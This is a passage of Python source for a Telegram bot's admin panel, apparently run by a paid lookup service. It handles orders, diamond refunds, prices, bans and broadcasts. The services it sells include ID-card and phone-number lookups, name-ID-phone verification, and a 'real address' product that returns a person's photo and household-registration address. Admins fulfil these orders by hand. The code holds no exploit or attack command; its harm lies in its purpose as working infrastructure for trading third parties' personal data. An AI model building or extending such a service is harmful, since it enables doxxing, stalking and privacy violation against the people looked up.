        bot.edit_message_text("📋 待处理订单\n━━━━━━━━━━━━━━━━━━━━", call.message.chat.id, call.message.message_id, reply_markup=build_order_list_keyboard(orders_list, page))
    elif data.startswith("detail_"):
        order_no = data.replace("detail_", "")
        order = DBUtils.get_order_by_no(order_no)
        if not order:
            bot.answer_callback_query(call.id, "订单不存在！", show_alert=True)
            return
        service_label = get_service_label(order['service_name'])
        service_data = order['service_data']
        content = ""
        if order['service_name'] == 'dy':
            content = f"抖音号：<code>{service_data.get('dy_id', '')}</code>"
        elif order['service_name'] == 'fr':
            content = f"信用代码：<code>{service_data.get('credit_code', '')}</code>"
        elif order['service_name'] == 'yyzz':
            content = f"信用代码：<code>{service_data.get('credit_code', '')}</code>"
        elif order['service_name'] == 'mxqy':
            content = f"身份证：<code>{service_data.get('id_card', '')}</code>"
        elif order['service_name'] == 'ltjz':
            content = f"手机号：<code>{service_data.get('phone', '')}</code>"
        else:
            content = f"姓名：<code>{service_data.get('name', '')}</code>\n身份证：<code>{service_data.get('id_card', '')}</code>"
        user = DBUtils.get_user(order['user_id'])
        username = user['username'] if user else "未知"
        text = f"📄 订单详情\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n用户ID：<code>{order['user_id']}</code>\n用户昵称：<code>{username}</code>\n服务：{service_label}\n提交内容：\n{content}\n消耗：{order['price']} 💎\n状态：⏳ 待处理\n提交时间：{order['created_at']}\n━━━━━━━━━━━━━━━━━━━━"
        bot.edit_message_text(text, call.message.chat.id, call.message.message_id, reply_markup=build_order_action_keyboard(order_no), parse_mode='HTML')
    elif data.startswith("process_"):
        order_no = data.replace("process_", "")
        order = DBUtils.get_order_by_no(order_no)
        if not order or order['status'] != 'pending':
            bot.answer_callback_query(call.id, "订单已处理或不存在！", show_alert=True)
            return
        user = DBUtils.get_user(order['user_id'])
        username = user['username'] if user else "未知"
        service_label = get_service_label(order['service_name'])
        service_data = order['service_data']
        content = ""
        if order['service_name'] == 'dy':
            content = f"抖音号：<code>{service_data.get('dy_id', '')}</code>"
        elif order['service_name'] == 'fr':
            content = f"信用代码：<code>{service_data.get('credit_code', '')}</code>"
        elif order['service_name'] == 'yyzz':
            content = f"信用代码：<code>{service_data.get('credit_code', '')}</code>"
        elif order['service_name'] == 'mxqy':
            content = f"身份证：<code>{service_data.get('id_card', '')}</code>"
        elif order['service_name'] == 'ltjz':
            content = f"手机号：<code>{service_data.get('phone', '')}</code>"
        else:
            content = f"姓名：<code>{service_data.get('name', '')}</code>\n身份证：<code>{service_data.get('id_card', '')}</code>"
        text = f"✅ 处理订单：{order_no}\n━━━━━━━━━━━━━━━━━━━━\n用户ID：<code>{order['user_id']}</code>\n用户昵称：<code>{username}</code>\n服务：{service_label}\n内容：\n{content}\n消耗：{order['price']} 💎\n━━━━━━━━━━━━━━━━━━━━\n请回复此消息发送回单内容：\n• 发送文字\n• 发送图片\n• 发送文件"
        bot.edit_message_text(text, call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 取消", callback_data=f"order_detail_{order_no}")), parse_mode='HTML')
        bot.answer_callback_query(call.id, "请回复此消息发送回单", show_alert=True)
    elif data.startswith("cancel_confirm_"):
        order_no = data.replace("cancel_confirm_", "")
        order = DBUtils.get_order_by_no(order_no)
        if not order or order['status'] != 'pending':
            bot.answer_callback_query(call.id, "订单已处理或不存在！", show_alert=True)
            return
        DBUtils.cancel_order(order_no)
        delete_order_notify(order_no)
        DBUtils.update_user_diamonds(order['user_id'], order['price'])
        DBUtils.log_diamond_transaction(order['user_id'], 'refund', order['price'], f'订单退回 {order_no}', order_no)
        bot.send_message(order['user_id'],
            f"📨 您的订单已被取消\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：{get_service_label(order['service_name'])}\n原因：查询为空\n💎 已退回 {order['price']} 钻石")
        bot.edit_message_text(f"✅ 已退回 {order['price']} 💎 给用户 {order['user_id']}\n订单：{order_no} 已取消", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("📋 返回订单列表", callback_data="order_list")))
    elif data.startswith("cancel_"):
        order_no = data.replace("cancel_", "")
        order = DBUtils.get_order_by_no(order_no)
        if not order or order['status'] != 'pending':
            bot.answer_callback_query(call.id, "订单已处理或不存在！", show_alert=True)
            return
        if order['service_name'] == 'zhend':
            text = f"❌ 查询为空：{order_no}\n━━━━━━━━━━━━━━━━━━━━\n请选择退费方式："
            keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
            keyboard.add(
                telebot.types.InlineKeyboardButton(f"📷 照片+户籍地全空 → 退还全部 {order['price']}💎", callback_data=f"zhend_refund_all_{order_no}"),
                telebot.types.InlineKeyboardButton(f"📷 照片为空 → 退还20💎 + 发送回单", callback_data=f"zhend_refund_photo_{order_no}"),
                telebot.types.InlineKeyboardButton(f"📋 户籍地为空 → 退还10💎 + 发送回单", callback_data=f"zhend_refund_addr_{order_no}"),
                telebot.types.InlineKeyboardButton("🔙 返回订单详情", callback_data=f"order_detail_{order_no}")
            )
            bot.edit_message_text(text, call.message.chat.id, call.message.message_id, reply_markup=keyboard)
        else:
            text = f"❌ 查询为空：{order_no}\n━━━━━━━━━━━━━━━━━━━━\n确认退回 {order['price']} 💎 给用户？"
            bot.edit_message_text(text, call.message.chat.id, call.message.message_id, reply_markup=build_order_cancel_confirm_keyboard(order_no))
    bot.answer_callback_query(call.id)

# ==================== 拼接真地址部分退费回调 ====================
@bot.callback_query_handler(func=lambda call: call.data.startswith("zhend_refund_all_"))
def handle_zhend_refund_all(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    order_no = call.data.replace("zhend_refund_all_", "")
    order = DBUtils.get_order_by_no(order_no)
    if not order or order['status'] != 'pending':
        bot.answer_callback_query(call.id, "订单已处理或不存在！", show_alert=True)
        return
    DBUtils.cancel_order(order_no)
    delete_order_notify(order_no)
    DBUtils.update_user_diamonds(order['user_id'], order['price'])
    DBUtils.log_diamond_transaction(order['user_id'], 'refund', order['price'], f'拼接真地址全退 {order_no}', order_no)
    bot.send_message(order['user_id'],
        f"📨 您的订单已被取消\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：拼接真地址\n原因：查询为空（照片+户籍地全空）\n💎 已退回 {order['price']} 钻石")
    bot.edit_message_text(f"✅ 照片+户籍地全空\n已退回 {order['price']} 💎 给用户 {order['user_id']}\n订单：{order_no} 已取消", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("📋 返回订单列表", callback_data="order_list")))
    bot.answer_callback_query(call.id)

@bot.callback_query_handler(func=lambda call: call.data.startswith("zhend_refund_photo_"))
def handle_zhend_refund_photo(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    order_no = call.data.replace("zhend_refund_photo_", "")
    order = DBUtils.get_order_by_no(order_no)
    if not order or order['status'] != 'pending':
        bot.answer_callback_query(call.id, "订单已处理或不存在！", show_alert=True)
        return
    DBUtils.cancel_order(order_no)
    delete_order_notify(order_no)
    refund_amount = 20
    DBUtils.update_user_diamonds(order['user_id'], refund_amount)
    DBUtils.log_diamond_transaction(order['user_id'], 'refund', refund_amount, f'拼接真地址照片为空退20 {order_no}', order_no)
    text = f"📷 照片为空退费：{order_no}\n━━━━━━━━━━━━━━━━━━━━\n退费：{order_no}\n用户ID：{order['user_id']}\n已退回 20💎 给用户\n\n请回复此消息发送回单内容（户籍地）：\n• 发送文字\n• 发送图片\n• 发送文件"
    bot.edit_message_text(text, call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回订单列表", callback_data="order_list")))
    bot.answer_callback_query(call.id, "请回复此消息发送户籍地回单", show_alert=True)

@bot.callback_query_handler(func=lambda call: call.data.startswith("zhend_refund_addr_"))
def handle_zhend_refund_addr(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    order_no = call.data.replace("zhend_refund_addr_", "")
    order = DBUtils.get_order_by_no(order_no)
    if not order or order['status'] != 'pending':
        bot.answer_callback_query(call.id, "订单已处理或不存在！", show_alert=True)
        return
    DBUtils.cancel_order(order_no)
    delete_order_notify(order_no)
    refund_amount = 10
    DBUtils.update_user_diamonds(order['user_id'], refund_amount)
    DBUtils.log_diamond_transaction(order['user_id'], 'refund', refund_amount, f'拼接真地址户籍地为空退10 {order_no}', order_no)
    text = f"📋 户籍地为空退费：{order_no}\n━━━━━━━━━━━━━━━━━━━━\n退费：{order_no}\n用户ID：{order['user_id']}\n已退回 10💎 给用户\n\n请回复此消息发送回单内容（照片）：\n• 发送文字\n• 发送图片\n• 发送文件"
    bot.edit_message_text(text, call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回订单列表", callback_data="order_list")))
    bot.answer_callback_query(call.id, "请回复此消息发送照片回单", show_alert=True)

# ==================== 管理员三要素接口切换回调 ====================
@bot.callback_query_handler(func=lambda call: call.data == "sys_api_menu")
def handle_admin_sys_api(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    current = DBUtils.get_setting('sys_api_active', '1')
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
    btn1_icon = "🟢" if current == '1' else "⚪"
    btn2_icon = "🟢" if current == '2' else "⚪"
    keyboard.add(telebot.types.InlineKeyboardButton(f"{btn1_icon} 接口1（sys0.php）", callback_data="sys_api_set_1"))
    keyboard.add(telebot.types.InlineKeyboardButton(f"{btn2_icon} 接口2（sys.php）", callback_data="sys_api_set_2"))
    keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回主菜单", callback_data="back_admin"))
    bot.edit_message_text(
        f"🔀 三要素接口切换\n━━━━━━━━━━━━━━━━━━━━\n"
        f"当前使用：接口{current}\n\n"
        f"接口1：sys0.php（原有接口）\n"
        f"接口2：sys.php（新接口）\n\n"
        f"切换后用户使用 /sys 时将调用对应接口",
        call.message.chat.id, call.message.message_id, reply_markup=keyboard)
    bot.answer_callback_query(call.id)

@bot.callback_query_handler(func=lambda call: call.data.startswith("sys_api_set_"))
def handle_sys_api_set(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    api_num = call.data.replace("sys_api_set_", "")
    DBUtils.set_setting('sys_api_active', api_num)
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
    keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回主菜单", callback_data="back_admin"))
    bot.edit_message_text(
        f"✅ 三要素接口已切换为 接口{api_num}\n━━━━━━━━━━━━━━━━━━━━\n用户使用 /sys 时将调用此接口",
        call.message.chat.id, call.message.message_id, reply_markup=keyboard)
    bot.answer_callback_query(call.id, f"已切换为接口{api_num}")

def admin_points_handler(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    try:
        parts = message.text.strip().split()
        if len(parts) != 2:
            bot.reply_to(message, "格式错误！请输入：用户ID 积分数量")
            return
        target_id = int(parts[0])
        points = int(parts[1])
        if points == 0:
            bot.reply_to(message, "请输入非零数字！")
            return
        DBUtils.update_user_points(target_id, points)
        user = DBUtils.get_user(target_id)
        bot.reply_to(message, f"✅ 操作成功！\n用户 {target_id} 积分变化：{points}\n当前积分：{user['points'] if user else '未知'}")
    except:
        bot.reply_to(message, "格式错误！请输入：用户ID 积分数量")

def admin_diamonds_handler(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    try:
        parts = message.text.strip().split()
        if len(parts) != 2:
            bot.reply_to(message, "格式错误！请输入：用户ID 钻石数量")
            return
        target_id = int(parts[0])
        diamonds = int(parts[1])
        if diamonds == 0:
            bot.reply_to(message, "请输入非零数字！")
            return
        DBUtils.update_user_diamonds(target_id, diamonds)
        DBUtils.log_diamond_transaction(target_id, 'admin_add' if diamonds > 0 else 'admin_sub', diamonds, f'管理员操作')
        user = DBUtils.get_user(target_id)
        bot.reply_to(message, f"✅ 操作成功！\n用户 {target_id} 钻石变化：{diamonds}\n当前钻石：{user['diamonds'] if user else '未知'}")
    except:
        bot.reply_to(message, "格式错误！请输入：用户ID 钻石数量")

def admin_price_set_handler(message, service):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    try:
        price = int(message.text.strip())
        if price < 0:
            bot.reply_to(message, "价格不能为负数！")
            return
        old_price = DBUtils.get_service_price(service)
        DBUtils.set_service_price(service, price)
        label = get_service_label(service)
        bot.reply_to(message, f"✅ 已更新「{label}」默认价格\n{old_price} 💎 → {price} 💎\n（已重置该服务所有用户单独价格）")
    except:
        bot.reply_to(message, "请输入有效的数字！")

def admin_price_user_handler(message, service):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    try:
        parts = message.text.strip().split()
        if len(parts) != 2:
            bot.reply_to(message, "格式错误！请输入：用户ID 价格")
            return
        target_id = int(parts[0])
        price = int(parts[1])
        if price < 0:
            bot.reply_to(message, "价格不能为负数！")
            return
        DBUtils.set_user_service_price(target_id, service, price)
        label = get_service_label(service)
        bot.reply_to(message, f"✅ 用户 {target_id} 的「{label}」已设单独价格：{price} 💎\n（优先级高于全局默认）")
    except:
        bot.reply_to(message, "格式错误！请输入：用户ID 价格")

def admin_user_query_handler(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    try:
        target_id = int(message.text.strip())
        user = DBUtils.get_user(target_id)
        if not user:
            bot.reply_to(message, f"❌ 用户 {target_id} 不存在")
            return
        auth_status = "🔑 已授权（免积分）" if user['is_authorized'] else "🔒 未授权"
        ban_status = "❌ 已封禁" if user['is_banned'] else "✅ 正常"
        text = f"🔍 用户查询结果\n━━━━━━━━━━━━━━━━━━━━\n用户ID：{target_id}\n用户名：{user.get('username', '未知')}\n积分：{user['points']}\n钻石：{user['diamonds']}\n授权状态：{auth_status}\n账号状态：{ban_status}"
        bot.reply_to(message, text, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回主菜单", callback_data="back_admin")))
    except:
        bot.reply_to(message, "请输入有效的用户ID！")

def admin_ban_mgmt_handler(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    try:
        target_id = int(message.text.strip())
        user = DBUtils.get_user(target_id)
        if not user:
            bot.reply_to(message, f"❌ 用户 {target_id} 不存在")
            return
        is_banned = user['is_banned']
        status = "❌ 已封禁" if is_banned else "✅ 正常"
        keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
        if is_banned:
            keyboard.add(telebot.types.InlineKeyboardButton("✅ 解封用户", callback_data=f"ban_toggle_{target_id}_0"))
        else:
            keyboard.add(telebot.types.InlineKeyboardButton("❌ 封禁用户", callback_data=f"ban_toggle_{target_id}_1"))
        keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回主菜单", callback_data="back_admin"))
        bot.reply_to(message, f"🚫 封禁管理\n━━━━━━━━━━━━━━━━━━━━\n用户ID：{target_id}\n用户名：{user.get('username', '未知')}\n当前状态：{status}", reply_markup=keyboard)
    except:
        bot.reply_to(message, "请输入有效的用户ID！")

def admin_auth_mgmt_handler(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    try:
        target_id = int(message.text.strip())
        user = DBUtils.get_user(target_id)
        if not user:
            bot.reply_to(message, f"❌ 用户 {target_id} 不存在")
            return
        is_auth = user['is_authorized']
        status = "🔑 已授权（免积分）" if is_auth else "🔒 未授权"
        keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
        if is_auth:
            keyboard.add(telebot.types.InlineKeyboardButton("🔒 取消授权", callback_data=f"auth_toggle_{target_id}_0"))
        else:
            keyboard.add(telebot.types.InlineKeyboardButton("🔑 授权用户", callback_data=f"auth_toggle_{target_id}_1"))
        keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回主菜单", callback_data="back_admin"))
        bot.reply_to(message, f"🔑 授权管理\n━━━━━━━━━━━━━━━━━━━━\n用户ID：{target_id}\n用户名：{user.get('username', '未知')}\n当前状态：{status}", reply_markup=keyboard)
    except:
        bot.reply_to(message, "请输入有效的用户ID！")

batch_points_data = {}

def admin_batch_points_step1(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    try:
        parts = message.text.strip().split()
        target_ids = [int(p) for p in parts if p.strip()]
        if not target_ids:
            bot.reply_to(message, "请输入至少一个用户ID！")
            return
        batch_points_data[user_id] = target_ids
        bot.reply_to(message, f"📦 批量加分\n━━━━━━━━━━━━━━━━━━━━\n已录入 {len(target_ids)} 个用户ID\n\n第二步：请输入要加的积分数：")
        bot.register_next_step_handler(message, admin_batch_points_step2)
    except:
        bot.reply_to(message, "格式错误！请输入有效的用户ID（多个用空格分隔）")

def admin_batch_points_step2(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    try:
        points = int(message.text.strip())
        if points <= 0:
            bot.reply_to(message, "积分必须大于0！")
            return
        target_ids = batch_points_data.get(user_id, [])
        if not target_ids:
            bot.reply_to(message, "数据丢失，请重新操作！")
            return
        success = 0
        fail = 0
        for tid in target_ids:
            try:
                DBUtils.update_user_points(tid, points)
                success += 1
            except:
                fail += 1
        del batch_points_data[user_id]
        bot.reply_to(message, f"✅ 批量加分完成！\n━━━━━━━━━━━━━━━━━━━━\n总用户：{len(target_ids)}\n成功：{success}\n失败：{fail}\n每人加积分：{points}", reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回主菜单", callback_data="back_admin")))
    except:
        bot.reply_to(message, "请输入有效的数字！")

def admin_broadcast_handler(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    all_users = DBUtils.get_all_users()
    success_count = 0
    fail_count = 0
    msg = bot.reply_to(message, f"正在广播给 {len(all_users)} 名用户...")
    for uid, _, _, _, _, banned, _ in all_users:
        if banned:
            continue
        try:
            if message.text:
                bot.send_message(uid, f"📢 管理员广播：\n\n{message.text}")
            elif message.photo:
                bot.send_photo(uid, message.photo[-1].file_id, caption="📢 管理员广播：")
            elif message.document:
                bot.send_document(uid, message.document.file_id, caption="📢 管理员广播：")
            else:
                continue
            success_count += 1
            time.sleep(0.05)
        except:
            fail_count += 1
    bot.edit_message_text(f"📢 广播完成！\n成功：{success_count} 人\n失败：{fail_count} 人", user_id, msg.message_id)

if __name__ == '__main__':
    logger.info("机器人启动中...")
    logger.info(f"必加频道: {CHANNEL_LINK}")
    logger.info(f"管理员列表: {ADMIN_IDS}")
    try:
        bot.infinity_polling(none_stop=True, timeout=60)
    except Exception as e:
        logger.error(f"机器人异常：{e}")